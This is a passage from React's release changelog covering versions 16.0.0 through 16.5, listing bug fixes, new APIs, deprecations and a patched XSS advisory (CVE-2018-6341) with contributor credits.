[#13503](https://github.com/facebook/react/issues/13503))\n\n### React DOM Server\n\n* Fix crash with nullish children when using `dangerouslySetInnerHtml` in a selected `<option>` ([@mridgway](https://github.com/mridgway) in [#13078](https://github.com/facebook/react/issues/13078))\n* Fix crash when `setTimeout` is missing ([@dustinsoftware](https://github.com/dustinsoftware) in [#13088](https://github.com/facebook/react/issues/13088))\n\n### React Test Renderer and Test Utils\n\n* Fix `this` in a functional component for shallow renderer to be `undefined` ([@koba04](https://github.com/koba04) in [#13144](https://github.com/facebook/react/issues/13144))\n* Deprecate a Jest-specific `ReactTestUtils.mockComponent()` helper ([@bvaughn](https://github.com/bvaughn) in [#13193](https://github.com/facebook/react/issues/13193))\n* Warn about `ReactDOM.createPortal` usage within the test renderer ([@bvaughn](https://github.com/bvaughn) in [#12895](https://github.com/facebook/react/issues/12895))\n* Improve a confusing error message ([@gaearon](https://github.com/gaearon) in [#13351](https://github.com/facebook/react/issues/13351))\n\n### React ART\n\n* Add support for DevTools ([@yunchancho](https://github.com/yunchancho) in [#13173](https://github.com/facebook/react/issues/13173))\n\n### Schedule (Experimental)\n\n* New package for cooperatively scheduling work in a browser environment. It's used by React internally, but its public API is not finalized yet. ([@flarnie](https://github.com/flarnie) in [#12624](https://github.com/facebook/react/pull/12624))\n\n## 16.4.2 (August 1, 2018)\n\n### React DOM Server\n\n* Fix a [potential XSS vulnerability when the attacker controls an attribute name](https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html) (`CVE-2018-6341`). This fix is available in the latest `react-dom@16.4.2`, as well as in previous affected minor versions: `react-dom@16.0.1`, `react-dom@16.1.2`, `react-dom@16.2.1`, and `react-dom@16.3.3`. ([@gaearon](https://github.com/gaearon) in [#13302](https://github.com/facebook/react/pull/13302))\n\n* Fix a crash in the server renderer when an attribute is called `hasOwnProperty`. This fix is only available in `react-dom@16.4.2`. ([@gaearon](https://github.com/gaearon) in [#13303](https://github.com/facebook/react/pull/13303))\n\n## 16.4.1 (June 13, 2018)\n\n### React\n\n* You can now assign `propTypes` to components returned by `React.ForwardRef`. ([@bvaughn](https://github.com/bvaughn) in [#12911](https://github.com/facebook/react/pull/12911))\n\n### React DOM\n\n* Fix a crash when the input `type` changes from some other types to `text`. ([@spirosikmd](https://github.com/spirosikmd) in [#12135](https://github.com/facebook/react/pull/12135))\n* Fix a crash in IE11 when restoring focus to an SVG element. ([@ThaddeusJiang](https://github.com/ThaddeusJiang) in [#12996](https://github.com/facebook/react/pull/12996))\n* Fix a range input not updating in some cases. ([@Illu](https://github.com/Illu) in [#12939](https://github.com/facebook/react/pull/12939))\n* Fix input validation triggering unnecessarily in Firefox. ([@nhunzaker](https://github.com/nhunzaker) in [#12925](https://github.com/facebook/react/pull/12925))\n* Fix an incorrect `event.target` value for the `onChange` event in IE9. ([@nhunzaker](https://github.com/nhunzaker) in [#12976](https://github.com/facebook/react/pull/12976))\n* Fix a false positive error when returning an empty `<React.Fragment />` from a component. ([@philipp-spiess](https://github.com/philipp-spiess) in [#12966](https://github.com/facebook/react/pull/12966))\n\n### React DOM Server\n\n* Fix an incorrect value being provided by new context API. ([@ericsoderberghp](https://github.com/ericsoderberghp) in [#12985](https://github.com/facebook/react/pull/12985), [@gaearon](https://github.com/gaearon) in [#13019](https://github.com/facebook/react/pull/13019))\n\n### React Test Renderer\n\n* Allow multiple root children in test renderer traversal API. ([@gaearon](https://github.com/gaearon) in [#13017](https://github.com/facebook/react/pull/13017))\n* Fix `getDerivedStateFromProps()` in the shallow renderer to not discard the pending state. ([@fatfisz](https://github.com/fatfisz) in [#13030](https://github.com/facebook/react/pull/13030))\n\n## 16.4.0 (May 23, 2018)\n\n### React\n\n* Add a new [experimental](https://github.com/reactjs/rfcs/pull/51) `React.unstable_Profiler` component for measuring performance. ([@bvaughn](https://github.com/bvaughn) in [#12745](https://github.com/facebook/react/pull/12745))\n\n### React DOM\n\n* Add support for the Pointer Events specification. ([@philipp-spiess](https://github.com/philipp-spiess) in [#12507](https://github.com/facebook/react/pull/12507))\n* Properly call `getDerivedStateFromProps()` regardless of the reason for re-rendering. ([@acdlite](https://github.com/acdlite) in [#12600](https://github.com/facebook/react/pull/12600) and [#12802](https://github.com/facebook/react/pull/12802))\n* Fix a bug that prevented context propagation in some cases. ([@gaearon](https://github.com/gaearon) in [#12708](https://github.com/facebook/react/pull/12708))\n* Fix re-rendering of components using `forwardRef()` on a deeper `setState()`. ([@gaearon](https://github.com/gaearon) in [#12690](https://github.com/facebook/react/pull/12690))\n* Fix some attributes incorrectly getting removed from custom element nodes. ([@airamrguez](https://github.com/airamrguez) in [#12702](https://github.com/facebook/react/pull/12702))\n* Fix context providers to not bail out on children if there's a legacy context provider above. ([@gaearon](https://github.com/gaearon) in [#12586](https://github.com/facebook/react/pull/12586))\n* Add the ability to specify `propTypes` on a context provider component. ([@nicolevy](https://github.com/nicolevy) in [#12658](https://github.com/facebook/react/pull/12658))\n* Fix a false positive warning when using `react-lifecycles-compat` in `<StrictMode>`. ([@bvaughn](https://github.com/bvaughn) in [#12644](https://github.com/facebook/react/pull/12644))\n* Warn when the `forwardRef()` render function has `propTypes` or `defaultProps`. ([@bvaughn](https://github.com/bvaughn) in [#12644](https://github.com/facebook/react/pull/12644))\n* Improve how `forwardRef()` and context consumers are displayed in the component stack. ([@sophiebits](https://github.com/sophiebits) in [#12777](https://github.com/facebook/react/pull/12777))\n* Change internal event names. This can break third-party packages that rely on React internals in unsupported ways. ([@philipp-spiess](https://github.com/philipp-spiess) in [#12629](https://github.com/facebook/react/pull/12629))\n\n### React Test Renderer\n\n* Fix the `getDerivedStateFromProps()` support to match the new React DOM behavior. ([@koba04](https://github.com/koba04) in [#12676](https://github.com/facebook/react/pull/12676))\n* Fix a `testInstance.parent` crash when the parent is a fragment or another special node. ([@gaearon](https://github.com/gaearon) in [#12813](https://github.com/facebook/react/pull/12813))\n* `forwardRef()` components are now discoverable by the test renderer traversal methods. ([@gaearon](https://github.com/gaearon) in [#12725](https://github.com/facebook/react/pull/12725))\n* Shallow renderer now ignores `setState()` updaters that return `null` or `undefined`. ([@koba04](https://github.com/koba04) in [#12756](https://github.com/facebook/react/pull/12756))\n\n### React ART\n\n* Fix reading context provided from the tree managed by React DOM. ([@acdlite](https://github.com/acdlite) in [#12779](https://github.com/facebook/react/pull/12779))\n\n### React Call Return (Experimental)\n\n* This experiment was deleted because it was affecting the bundle size and the API wasn't good enough. It's likely to come back in the future in some other form. ([@gaearon](https://github.com/gaearon) in [#12820](https://github.com/facebook/react/pull/12820))\n\n### React Reconciler (Experimental)\n\n* The [new host config shape](https://github.com/facebook/react/blob/c601f7a64640290af85c9f0e33c78480656b46bc/packages/react-noop-renderer/src/createReactNoop.js#L82-L285) is flat and doesn't use nested objects. ([@gaearon](https://github.com/gaearon) in [#12792](https://github.com/facebook/react/pull/12792))\n\n## 16.3.3 (August 1, 2018)\n\n### React DOM Server\n\n* Fix a [potential XSS vulnerability when the attacker controls an attribute name](https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html) (`CVE-2018-6341`). This fix is available in the latest `react-dom@16.4.2`, as well as in previous affected minor versions: `react-dom@16.0.1`, `react-dom@16.1.2`, `react-dom@16.2.1`, and `react-dom@16.3.3`. ([@gaearon](https://github.com/gaearon) in [#13302](https://github.com/facebook/react/pull/13302))\n\n## 16.3.2 (April 16, 2018)\n\n### React\n\n* Improve the error message when passing `null` or `undefined` to `React.cloneElement`. ([@nicolevy](https://github.com/nicolevy) in [#12534](https://github.com/facebook/react/pull/12534))\n\n### React DOM\n\n* Fix an IE crash in development when using `<StrictMode>`. ([@bvaughn](https://github.com/bvaughn) in [#12546](https://github.com/facebook/react/pull/12546))\n* Fix labels in User Timing measurements for new component types. ([@bvaughn](https://github.com/bvaughn) in [#12609](https://github.com/facebook/react/pull/12609))\n* Improve the warning about wrong component type casing. ([@nicolevy](https://github.com/nicolevy) in [#12533](https://github.com/facebook/react/pull/12533))\n* Improve general performance in development mode. ([@gaearon](https://github.com/gaearon) in [#12537](https://github.com/facebook/react/pull/12537))\n* Improve performance of the experimental `unstable_observedBits` API with nesting. ([@gaearon](https://github.com/gaearon) in [#12543](https://github.com/facebook/react/pull/12543))\n\n### React Test Renderer\n\n* Add a UMD build. ([@bvaughn](https://github.com/bvaughn) in [#12594](https://github.com/facebook/react/pull/12594))\n\n## 16.3.1 (April 3, 2018)\n\n### React\n\n* Fix a false positive warning in IE11 when using `Fragment`. ([@heikkilamarko](https://github.com/heikkilamarko) in [#12504](https://github.com/facebook/react/pull/12504))\n* Prefix a private API. ([@Andarist](https://github.com/Andarist) in [#12501](https://github.com/facebook/react/pull/12501))\n* Improve the warning when calling `setState()` in constructor. ([@gaearon](https://github.com/gaearon) in [#12532](https://github.com/facebook/react/pull/12532))\n\n### React DOM\n\n* Fix `getDerivedStateFromProps()` not getting applied in some cases. ([@acdlite](https://github.com/acdlite) in [#12528](https://github.com/facebook/react/pull/12528))\n* Fix a performance regression in development mode. ([@gaearon](https://github.com/gaearon) in [#12510](https://github.com/facebook/react/pull/12510))\n* Fix error handling bugs in development mode. ([@gaearon](https://github.com/gaearon) and [@acdlite](https://github.com/acdlite) in [#12508](https://github.com/facebook/react/pull/12508))\n* Improve user timing API messages for profiling. ([@flarnie](https://github.com/flarnie) in [#12384](https://github.com/facebook/react/pull/12384))\n\n### Create Subscription\n\n* Set the package version to be in sync with React releases. ([@bvaughn](https://github.com/bvaughn) in [#12526](https://github.com/facebook/react/pull/12526))\n* Add a peer dependency on React 16.3+. ([@NMinhNguyen](https://github.com/NMinhNguyen) in [#12496](https://github.com/facebook/react/pull/12496))\n\n## 16.3.0 (March 29, 2018)\n\n### React\n\n* Add a new officially supported context API. ([@acdlite](https://github.com/acdlite) in [#11818](https://github.com/facebook/react/pull/11818))\n* Add a new `React.createRef()` API as an ergonomic alternative to callback refs. ([@trueadm](https://github.com/trueadm) in [#12162](https://github.com/facebook/react/pull/12162))\n* Add a new `React.forwardRef()` API to let components forward their refs to a child. ([@bvaughn](https://github.com/bvaughn) in [#12346](https://github.com/facebook/react/pull/12346))\n* Fix a false positive warning in IE11 when using `React.Fragment`. ([@XaveScor](https://github.com/XaveScor) in [#11823](https://github.com/facebook/react/pull/11823))\n* Replace `React.unstable_AsyncComponent` with `React.unstable_AsyncMode`. ([@acdlite](https://github.com/acdlite) in [#12117](https://github.com/facebook/react/pull/12117))\n* Improve the error message when calling `setState()` on an unmounted component. ([@sophiebits](https://github.com/sophiebits) in [#12347](https://github.com/facebook/react/pull/12347))\n\n### React DOM\n\n* Add a new `getDerivedStateFromProps()` lifecycle and `UNSAFE_` aliases for the legacy lifecycles. ([@bvaughn](https://github.com/bvaughn) in [#12028](https://github.com/facebook/react/pull/12028))\n* Add a new `getSnapshotBeforeUpdate()` lifecycle. ([@bvaughn](https://github.com/bvaughn) in [#12404](https://github.com/facebook/react/pull/12404))\n* Add a new `<React.StrictMode>` wrapper to help prepare apps for async rendering. ([@bvaughn](https://github.com/bvaughn) in [#12083](https://github.com/facebook/react/pull/12083))\n* Add support for `onLoad` and `onError` events on the `<link>` tag. ([@roderickhsiao](https://github.com/roderickhsiao) in [#11825](https://github.com/facebook/react/pull/11825))\n* Add support for `noModule` boolean attribute on the `<script>` tag. ([@aweary](https://github.com/aweary) in [#11900](https://github.com/facebook/react/pull/11900))\n* Fix minor DOM input bugs in IE and Safari. ([@nhunzaker](https://github.com/nhunzaker) in [#11534](https://github.com/facebook/react/pull/11534))\n* Correctly detect Ctrl + Enter in `onKeyPress` in more browsers. ([@nstraub](https://github.com/nstraub) in [#10514](https://github.com/facebook/react/pull/10514))\n* Fix containing elements getting focused on SSR markup mismatch. ([@koba04](https://github.com/koba04) in [#11737](https://github.com/facebook/react/pull/11737))\n* Fix `value` and `defaultValue` to ignore Symbol values. ([@nhunzaker](https://github.com/nhunzaker) in [#11741](https://github.com/facebook/react/pull/11741))\n* Fix refs to class components not getting cleaned up when the attribute is removed. ([@bvaughn](https://github.com/bvaughn) in [#12178](https://github.com/facebook/react/pull/12178))\n* Fix an IE/Edge issue when rendering inputs into a different window. ([@M-ZubairAhmed](https://github.com/M-ZubairAhmed) in [#11870](https://github.com/facebook/react/pull/11870))\n* Throw with a meaningful message if the component runs after jsdom has been destroyed. ([@gaearon](https://github.com/gaearon) in [#11677](https://github.com/facebook/react/pull/11677))\n* Don't crash if there is a global variable called `opera` with a `null` value. [@alisherdavronov](https://github.com/alisherdavronov) in [#11854](https://github.com/facebook/react/pull/11854))\n* Don't check for old versions of Opera. ([@skiritsis](https://github.com/skiritsis) in [#11921](https://github.com/facebook/react/pull/11921))\n* Deduplicate warning messages about `<option selected>`. ([@watadarkstar](https://github.com/watadarkstar) in [#11821](https://github.com/facebook/react/pull/11821))\n* Deduplicate warning messages about invalid callback. ([@yenshih](https://github.com/yenshih) in [#11833](https://github.com/facebook/react/pull/11833))\n* Deprecate `ReactDOM.unstable_createPortal()` in favor of `ReactDOM.createPortal()`. ([@prometheansacrifice](https://github.com/prometheansacrifice) in [#11747](https://github.com/facebook/react/pull/11747))\n* Don't emit User Timing entries for context types. ([@abhaynikam](https://github.com/abhaynikam) in [#12250](https://github.com/facebook/react/pull/12250))\n* Improve the error message when context consumer child isn't a function. ([@raunofreiberg](https://github.com/raunofreiberg) in [#12267](https://github.com/facebook/react/pull/12267))\n* Improve the error message when adding a ref to a functional component. ([@skiritsis](https://github.com/skiritsis) in [#11782](https://github.com/facebook/react/pull/11782))\n\n### React DOM Server\n\n* Prevent an infinite loop when attempting to render portals with SSR. ([@gaearon](https://github.com/gaearon) in [#11709](https://github.com/facebook/react/pull/11709))\n* Warn if a class doesn't extend `React.Component`. ([@wyze](https://github.com/wyze) in [#11993](https://github.com/facebook/react/pull/11993))\n* Fix an issue with `this.state` of different components getting mixed up. ([@sophiebits](https://github.com/sophiebits) in [#12323](https://github.com/facebook/react/pull/12323))\n* Provide a better message when component type is undefined. ([@HeroProtagonist](https://github.com/HeroProtagonist) in [#11966](https://github.com/facebook/react/pull/11966))\n\n### React Test Renderer\n\n* Fix handling of fragments in `toTree()`. ([@maciej-ka](https://github.com/maciej-ka) in [#12107](https://github.com/facebook/react/pull/12107) and [@gaearon](https://github.com/gaearon) in [#12154](https://github.com/facebook/react/pull/12154))\n* Shallow renderer should assign state to `null` for components that don't set it. ([@jwbay](https://github.com/jwbay) in [#11965](https://github.com/facebook/react/pull/11965))\n* Shallow renderer should filter legacy context according to `contextTypes`. ([@koba04](https://github.com/koba04) in [#11922](https://github.com/facebook/react/pull/11922))\n* Add an unstable API for testing asynchronous rendering. ([@acdlite](https://github.com/acdlite) in [#12478](https://github.com/facebook/react/pull/12478))\n\n### React Is (New)\n\n* First release of the [new package](https://github.com/facebook/react/tree/main/packages/react-is) that libraries can use to detect different React node types. ([@bvaughn](https://github.com/bvaughn) in [#12199](https://github.com/facebook/react/pull/12199))\n* Add `ReactIs.isValidElementType()` to help higher-order components validate their inputs. ([@jamesreggio](https://github.com/jamesreggio) in [#12483](https://github.com/facebook/react/pull/12483))\n\n### React Lifecycles Compat (New)\n\n* First release of the [new package](https://github.com/reactjs/react-lifecycles-compat) to help library developers target multiple versions of React. ([@bvaughn](https://github.com/bvaughn) in [#12105](https://github.com/facebook/react/pull/12105))\n\n### Create Subscription (New)\n\n* First release of the [new package](https://github.com/facebook/react/tree/main/packages/create-subscription) to subscribe to external data sources safely for async rendering. ([@bvaughn](https://github.com/bvaughn) in [#12325](https://github.com/facebook/react/pull/12325))\n\n### React Reconciler (Experimental)\n\n* Expose `react-reconciler/persistent` for building renderers that use persistent data structures. ([@gaearon](https://github.com/gaearon) in [#12156](https://github.com/facebook/react/pull/12156))\n* Pass host context to `finalizeInitialChildren()`. ([@jquense](https://github.com/jquense) in [#11970](https://github.com/facebook/react/pull/11970))\n* Remove `useSyncScheduling` from the host config. ([@acdlite](https://github.com/acdlite) in [#11771](https://github.com/facebook/react/pull/11771))\n\n### React Call Return (Experimental)\n\n* Fix a crash on updates. ([@rmhartog](https://github.com/rmhartog) in [#11955](https://github.com/facebook/react/pull/11955))\n\n## 16.2.1 (August 1, 2018)\n\n### React DOM Server\n\n* Fix a [potential XSS vulnerability when the attacker controls an attribute name](https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html) (`CVE-2018-6341`). This fix is available in the latest `react-dom@16.4.2`, as well as in previous affected minor versions: `react-dom@16.0.1`, `react-dom@16.1.2`, `react-dom@16.2.1`, and `react-dom@16.3.3`. ([@gaearon](https://github.com/gaearon) in [#13302](https://github.com/facebook/react/pull/13302))\n\n## 16.2.0 (November 28, 2017)\n\n### React\n\n* Add `Fragment` as named export to React. ([@clemmy](https://github.com/clemmy) in [#10783](https://github.com/facebook/react/pull/10783))\n* Support experimental Call/Return types in `React.Children` utilities. ([@MatteoVH](https://github.com/MatteoVH) in [#11422](https://github.com/facebook/react/pull/11422))\n\n### React DOM\n\n* Fix radio buttons not getting checked when using multiple lists of radios. ([@landvibe](https://github.com/landvibe) in [#11227](https://github.com/facebook/react/pull/11227))\n* Fix radio buttons not receiving the `onChange` event in some cases. ([@jquense](https://github.com/jquense) in [#11028](https://github.com/facebook/react/pull/11028))\n\n### React Test Renderer\n\n* Fix `setState()` callback firing too early when called from `componentWillMount`. ([@accordeiro](https://github.com/accordeiro) in [#11507](https://github.com/facebook/react/pull/11507))\n\n### React Reconciler\n\n* Expose `react-reconciler/reflection` with utilities useful to custom renderers. ([@rivenhk](https://github.com/rivenhk) in [#11683](https://github.com/facebook/react/pull/11683))\n\n### Internal Changes\n\n* Many tests were rewritten against the public API. Big thanks to [everyone who contributed](https://github.com/facebook/react/issues/11299)!\n\n## 16.1.2 (August 1, 2018)\n\n### React DOM Server\n\n* Fix a [potential XSS vulnerability when the attacker controls an attribute name](https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html) (`CVE-2018-6341`). This fix is available in the latest `react-dom@16.4.2`, as well as in previous affected minor versions: `react-dom@16.0.1`, `react-dom@16.1.2`, `react-dom@16.2.1`, and `react-dom@16.3.3`. ([@gaearon](https://github.com/gaearon) in [#13302](https://github.com/facebook/react/pull/13302))\n\n## 16.1.1 (November 13, 2017)\n\n### React\n\n* Improve the warning about undefined component type. ([@selbekk](https://github.com/selbekk) in [#11505](https://github.com/facebook/react/pull/11505))\n\n### React DOM\n\n* Support string values for the `capture` attribute. ([@maxschmeling](https://github.com/maxschmeling) in [#11424](https://github.com/facebook/react/pull/11424))\n\n### React DOM Server\n\n* Don't freeze the `ReactDOMServer` public API. ([@travi](https://github.com/travi) in [#11531](https://github.com/facebook/react/pull/11531))\n* Don't emit `autoFocus={false}` attribute on the server. ([@gaearon](https://github.com/gaearon) in [#11543](https://github.com/facebook/react/pull/11543))\n\n### React Reconciler\n\n* Change the hydration API for better Flow typing. ([@sebmarkbage](https://github.com/sebmarkbage) in [#11493](https://github.com/facebook/react/pull/11493))\n\n## 16.1.0 (November 9, 2017)\n\n### Discontinuing Bower Releases\n\nStarting with 16.1.0, we will no longer be publishing new releases on Bower. You can continue using Bower for old releases, or point your Bower configs to the [React UMD builds hosted on unpkg](https://reactjs.org/docs/installation.html#using-a-cdn) that mirror npm releases and will continue to be updated.\n\n### All Packages\n\n* Fix an accidental extra global variable in the UMD builds. ([@gaearon](https://github.com/gaearon) in [#10935](https://github.com/facebook/react/pull/10935))\n\n### React\n\n* Add support for portals in `React.Children` utilities. ([@MatteoVH](https://github.com/MatteoVH) in [#11378](https://github.com/facebook/react/pull/11378))\n* Warn when a class has a `render` method but doesn't extend a known base class. ([@sw-yx](https://github.com/sw-yx) in [#11168](https://github.com/facebook/react/pull/11168))\n* Improve the warning when accidentally returning an object from constructor. ([@deanbrophy](https://github.com/deanbrophy) in [#11395](https://github.com/facebook/react/pull/11395))\n\n### React DOM\n\n* Allow `on` as a custom attribute for AMP. ([@nuc](https://github.com/nuc) in [#11153](https://github.com/facebook/react/pull/11153))\n* Fix `onMouseEnter` and `onMouseLeave` firing on wrong elements. ([@gaearon](https://github.com/gaearon) in [#11164](https://github.com/facebook/react/pull/11164))\n* Fix `null` showing up in a warning instead of the component stack. ([@gaearon](https://github.com/gaearon) in [#10915](https://github.com/facebook/react/pull/10915))\n* Fix IE11 crash in development mode. ([@leidegre](https://github.com/leidegre) in [#10921](https://github.com/facebook/react/pull/10921))\n* Fix `tabIndex` not getting applied to SVG elements. ([@gaearon](https://github.com/gaearon) in [#11034](https://github.com/facebook/react/pull/11034))\n* Fix SVG children not getting cleaned up on `dangerouslySetInnerHTML` in IE. ([@OriR](https://github.com/OriR) in [#11108](https://github.com/facebook/react/pull/11108))\n* Fix false positive text mismatch warning caused by newline normalization. ([@gaearon](https://github.com/gaearon) in [#11119](https://github.com/facebook/react/pull/11119))\n* Fix `form.reset()` to respect `defaultValue` on uncontrolled `<select>`. ([@aweary](https://github.com/aweary) in [#11057](https://github.com/facebook/react/pull/11057))\n* Fix `<textarea>` placeholder not rendering on IE11. ([@gaearon](https://github.com/gaearon) in [#11177](https://github.com/facebook/react/pull/11177))\n* Fix a crash rendering into shadow root. ([@gaearon](https://github.com/gaearon) in [#11037](https://github.com/facebook/react/pull/11037))\n* Fix false positive warning about hydrating mixed case SVG tags. ([@gaearon](https://github.com/gaearon) in [#11174](https://github.com/facebook/react/pull/11174))\n* Suppress the new unknown tag warning for `<dialog>` element. ([@gaearon](https://github.com/gaearon) in [#11035](https://github.com/facebook/react/pull/11035))\n* Warn when defining a non-existent `componentDidReceiveProps` method. ([@iamtommcc](https://github.com/iamtommcc) in [#11479](https://github.com/facebook/react/pull/11479))\n* Warn about function child no more than once. ([@andreysaleba](https://github.com/andreysaleba) in [#11120](https://github.com/facebook/react/pull/11120))\n* Warn about nested updates no more than once. ([@anushreesubramani](https://github.com/anushreesubramani) in [#11113](https://github.com/facebook/react/pull/11113))\n* Deduplicate other warnings about updates. ([@anushreesubramani](https://github.com/anushreesubramani) in [#11216](https://github.com/facebook/react/pull/11216))\n* Include component stack into the warning about `contentEditable` and `children`. ([@Ethan-Arrowood](https://github.com/Ethan-Arrowood) in [#11208](https://github.com/facebook/react/pull/11208))\n* Improve the warning about booleans passed to event handlers. ([@NicBonetto](https://github.com/NicBonetto) in [#11308](https://github.com/facebook/react/pull/11308))\n* Improve the warning when a multiple `select` gets null `value`. ([@Hendeca](https://github.com/Hendeca) in [#11141](https://github.com/facebook/react/pull/11141))\n* Move link in the warning message to avoid redirect. ([@marciovicente](https://github.com/marciovicente) in [#11400](https://github.com/facebook/react/pull/11400))\n* Add a way to suppress the React DevTools installation prompt. ([@gaearon](https://github.com/gaearon) in [#11448](https://github.com/facebook/react/pull/11448))\n* Remove unused code. ([@gaearon](https://github.com/gaearon) in [#10802](https://github.com/facebook/react/pull/10802), [#10803](https://github.com/facebook/react/pull/10803))\n\n### React DOM Server\n\n* Add a new `suppressHydrationWarning` attribute for intentional client/server text mismatches. ([@sebmarkbage](https://github.com/sebmarkbage) in [#11126](https://github.com/facebook/react/pull/11126))\n* Fix markup generation when components return strings. ([@gaearon](https://github.com/gaearon) in [#11109](https://github.com/facebook/react/pull/11109))\n* Fix obscure error message when passing an invalid style value. ([@iamdustan](https://github.com/iamdustan) in [#11173](https://github.com/facebook/react/pull/11173))\n* Include the `autoFocus` attribute into SSR markup. ([@gaearon](https://github.com/gaearon) in [#11192](https://github.com/facebook/react/pull/11192))\n* Include the component stack into more warnings. ([@gaearon](https://github.com/gaearon) in [#11284](https://github.com/facebook/react/pull/11284))\n\n### React Test Renderer and Test Utils\n\n* Fix multiple `setState()` calls in `componentWillMount()` in shallow renderer. ([@Hypnosphi](https://github.com/Hypnosphi) in [#11167](https://github.com/facebook/react/pull/11167))\n* Fix shallow renderer to ignore `shouldComponentUpdate()` after `forceUpdate()`. ([@d4rky-pl](https://github.com/d4rky-pl) in [#11239](https://github.com/facebook/react/pull/11239) and [#11439](https://github.com/facebook/react/pull/11439))\n* Handle `forceUpdate()` and `React.PureComponent` correctly. ([@koba04](https://github.com/koba04) in [#11440](https://github.com/facebook/react/pull/11440))\n* Add back support for running in production mode. ([@gaearon](https://github.com/gaearon) in [#11112](https://github.com/facebook/react/pull/11112))\n* Add a missing `package.json` dependency. ([@gaearon](https://github.com/gaearon) in [#11340](https://github.com/facebook/react/pull/11340))\n\n### React ART\n\n* Add a missing `package.json` dependency. ([@gaearon](https://github.com/gaearon) in [#11341](https://github.com/facebook/react/pull/11341))\n* Expose `react-art/Circle`, `react-art/Rectangle`, and `react-art/Wedge`. ([@gaearon](https://github.com/gaearon) in [#11343](https://github.com/facebook/react/pull/11343))\n\n### React Reconciler (Experimental)\n\n* First release of the [new experimental package](https://github.com/facebook/react/blob/main/packages/react-reconciler/README.md) for creating custom renderers. ([@iamdustan](https://github.com/iamdustan) in [#10758](https://github.com/facebook/react/pull/10758))\n* Add support for React DevTools. ([@gaearon](https://github.com/gaearon) in [#11463](https://github.com/facebook/react/pull/11463))\n\n### React Call Return (Experimental)\n\n* First release of the [new experimental package](https://github.com/facebook/react/tree/main/packages/react-call-return) for parent-child communication. ([@gaearon](https://github.com/gaearon) in [#11364](https://github.com/facebook/react/pull/11364))\n\n## 16.0.1 (August 1, 2018)\n\n### React DOM Server\n\n* Fix a [potential XSS vulnerability when the attacker controls an attribute name](https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html) (`CVE-2018-6341`). This fix is available in the latest `react-dom@16.4.2`, as well as in previous affected minor versions: `react-dom@16.0.1`, `react-dom@16.1.2`, `react-dom@16.2.1`, and `react-dom@16.3.3`. ([@gaearon](https://github.com/gaearon) in [#13302](https://github.com/facebook/react/pull/13302))\n\n## 16.0.0 (September 26, 2017)\n\n### New JS Environment Requirements\n\n * React 16 depends on the collection types [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) and [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set), as well as [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame). If you support older browsers and devices which may not yet provide these natively (e.g. <IE11), [you may want to include a polyfill](https://gist.github.com/gaearon/9a4d54653ae9c50af6c54b4e0e56b583).\n\n### New Features\n* Components can now return arrays and strings from `render`. (Docs coming soon!)\n* Improved error handling with introduction of \"error boundaries\". [Error boundaries](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html) are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed.\n* First-class support for declaratively rendering a subtree into another DOM node with `ReactDOM.createPortal()`. (Docs coming soon!)\n* Streaming mode for server side rendering is enabled with `ReactDOMServer.renderToNodeStream()` and `ReactDOMServer.renderToStaticNodeStream()`. ([@aickin](https://github.com/aickin) in [#10425](https://github.com/facebook/react/pull/10425), [#10044](https://github.com/facebook/react/pull/10044), [#10039](https://github.com/facebook/react/pull/10039), [#10024](https://github.com/facebook/react/pull/10024), [#9264](https://github.com/facebook/react/pull/9264), and others.)\n* [React DOM now allows passing non-standard attributes](https://reactjs.org/blog/2017/09/08/dom-attributes-in-react-16.html). ([@nhunzaker](https://github.com/nhunzaker) in [#10385](https://github.com/facebook/react/pull/10385), [10564](https://github.com/facebook/react/pull/10564), [#10495](https://github.com/facebook/react/pull/10495) and others)\n\n### Breaking Changes\n- There are several changes to the behavior of scheduling and lifecycle methods:\n  * `ReactDOM.render()` and `ReactDOM.unstable_renderIntoContainer()` now return `null` if called from inside a lifecycle method.\n    * To work around this, you can either use [the new portal API](https://github.com/facebook/react/issues/10309#issuecomment-318433235) or [refs](https://github.com/facebook/react/issues/10309#issuecomment-318434635).\n  * Minor changes to `setState` behavior:\n    * Calling `setState` with null no longer triggers an update. This allows you to decide in an updater function if you want to re-render.\n    * Calling `setState` directly in render always causes an update. This was not previously the case. Regardless, you should not be calling `setState` from render.\n    * `setState` callback (second argument) now fires immediately after `componentDidMount` / `componentDidUpdate` instead of after all components have rendered.\n  * When replacing `<A />` with `<B />`,  `B.componentWillMount` now always happens before  `A.componentWillUnmount`. Previously, `A.componentWillUnmount` could fire first in some cases.\n  * Previously, changing the `ref` to a component would always detach the ref before that component's render is called. Now, we change the `ref` later, when applying the changes to the DOM.\n  * It is not safe to re-render into a container that was modified by something other than React. This worked previously in some cases but was never supported. We now emit a warning in this case. Instead you should clean up your component trees using `ReactDOM.unmountComponentAtNode`. [See this example.](https://github.com/facebook/react/issues/10294#issuecomment-318820987)\n  * `componentDidUpdate` lifecycle no longer receives `prevContext` param. ([@bvaughn](https://github.com/bvaughn) in [#8631](https://github.com/facebook/react/pull/8631))\n  * Non-unique keys may now cause children to be duplicated and/or omitted. Using non-unique keys is not (and has never been) supported, but previously it was a hard error.\n  * Shallow renderer no longer calls `componentDidUpdate()` because DOM refs are not available. This also makes it consistent with `componentDidMount()` (which does not get called in previous versions either).\n  * Shallow renderer does not implement `unstable_batchedUpdates()` anymore.\n  * `ReactDOM.unstable_batchedUpdates` now only takes one extra argument after the callback.\n- The names and paths to the single-file browser builds have changed to emphasize the difference between development and production builds. For example:\n  - `react/dist/react.js` → `react/umd/react.development.js`\n  - `react/dist/react.min.js` → `react/umd/react.production.min.js`\n  - `react-dom/dist/react-dom.js` → `react-dom/umd/react-dom.development.js`\n  - `react-dom/dist/react-dom.min.js` → `react-dom/umd/react-dom.production.min.js`\n* The server renderer has been completely rewritten, with some improvements:\n  * Server rendering does not use markup validation anymore, and instead tries its best to attach to existing DOM, warning about inconsistencies. It also doesn't use comments for empty components and data-reactid attributes on each node anymore.\n  * Hydrating a server rendered container now has an explicit API. Use `ReactDOM.hydrate` instead of `ReactDOM.render` if you're reviving server rendered HTML. Keep using `ReactDOM.render` if you're just doing 